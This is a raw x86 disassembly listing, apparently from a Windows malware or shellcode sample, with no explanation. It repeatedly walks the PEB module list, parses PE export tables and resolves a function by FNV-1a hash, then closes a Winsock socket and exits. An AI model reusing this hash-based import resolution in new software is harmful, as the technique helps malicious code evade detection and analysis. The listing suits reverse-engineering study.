mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x28], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x454077
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x454077
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x10], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45406d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x454050
cmp esi, 0x71948ca4
je 0x45407b
mov ecx, dword [ebp - 0x10]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x454035
mov eax, dword [eax]
jmp 0x454010
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x28]
push 0x493e0
push dword [ebp - 0x38]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x28], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x454117
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x454117
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x10], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45410d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4540f0
cmp esi, 0x71948ca4
je 0x45411b
mov ecx, dword [ebp - 0x10]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4540d5
mov eax, dword [eax]
jmp 0x4540b0
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x28]
push 0x493e0
push dword [ebp - 0x5c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x28], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x4541b7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4541b7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x10], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4541ad
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x454190
cmp esi, 0x71948ca4
je 0x4541bb
mov ecx, dword [ebp - 0x10]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x454175
mov eax, dword [eax]
jmp 0x454150
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x28]
push 0x493e0
push dword [ebp - 0x34]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x28], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x454257
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x454257
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x10], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45424d
mov eax, dword [eax]
jmp 0x4541f0
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 2
push dword [0x530b38]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x530b38]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.004cdf70
int3